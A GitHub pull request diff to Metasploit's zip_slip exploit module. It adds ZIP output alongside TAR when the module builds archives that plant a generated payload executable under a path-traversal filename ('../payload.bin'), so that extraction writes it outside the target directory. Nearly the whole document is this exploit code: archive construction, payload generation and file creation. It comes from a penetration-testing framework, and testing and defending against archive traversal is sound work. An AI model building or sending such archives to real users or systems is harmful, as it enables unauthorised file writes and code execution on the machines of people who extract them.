Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add support for ZIP file generation in zip_slip exploit #14075

Merged
merged 2 commits into from
Sep 2, 2020
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
41 changes: 26 additions & 15 deletions modules/exploits/multi/fileformat/zip_slip.rb
Original file line number Diff line number Diff line change
Expand Up @@ -27,7 +27,8 @@ def initialize(info={})
'Author' =>
[
'Snyk', # Technique discovery
'sinn3r' # Metasploit
'sinn3r', # Metasploit
'ggkitsas'
],
'References' =>
[
Expand All @@ -48,7 +49,8 @@ def initialize(info={})
))

register_options([
OptString.new('FILENAME', [true, 'The tar file (tar)', 'msf.tar']),
OptString.new('FILENAME', [true, 'The name of the archive file', 'msf.tar']),
OptEnum.new('FTYPE', [true, 'The archive type', 'tar', ['tar', 'zip'] ]),
OptString.new('TARGETPAYLOADPATH', [true, 'The targeted path for payload', '../payload.bin'])
])
end
Expand All @@ -57,32 +59,41 @@ class ZipSlipArchive
attr_reader :data
attr_reader :fname
attr_reader :payload
attr_reader :type

def initialize(n, p)
def initialize(n, p, t)
@fname = n
@payload = p
@type = t
@data = make
end

def make
data = ''
path = Rex::FileUtils.normalize_unix_path(fname)
tar = StringIO.new
Rex::Tar::Writer.new(tar) do |t|
t.add_file(path, 0777) do |f|
f.write(payload)

if type == 'tar'
contents = StringIO.new
Rex::Tar::Writer.new(contents) do |t|
t.add_file(path, 0777) do |f|
f.write(payload)
end
end
contents.seek(0)
data = contents.read
contents.close
data
elsif type == 'zip'
zip = Rex::Zip::Archive.new
zip.add_file(path, payload)
data = zip.pack
end
tar.seek(0)
data = tar.read
tar.close
data
end
end

def make_tar(target_payload_path)
def make_archive(target_payload_path, type)
elf = generate_payload_exe(code: payload.encoded)
archive = ZipSlipArchive.new(target_payload_path, generate_payload_exe)
archive = ZipSlipArchive.new(target_payload_path, generate_payload_exe, type)
archive.make
end

Expand All @@ -93,8 +104,8 @@ def exploit
return
end

tar = make_tar(target_payload_path)
file_create(tar)
archive = make_archive(target_payload_path, datastore['FTYPE'])
file_create(archive)
print_status('When extracted, the payload is expected to extract to:')
print_status(target_payload_path)
end
Expand Down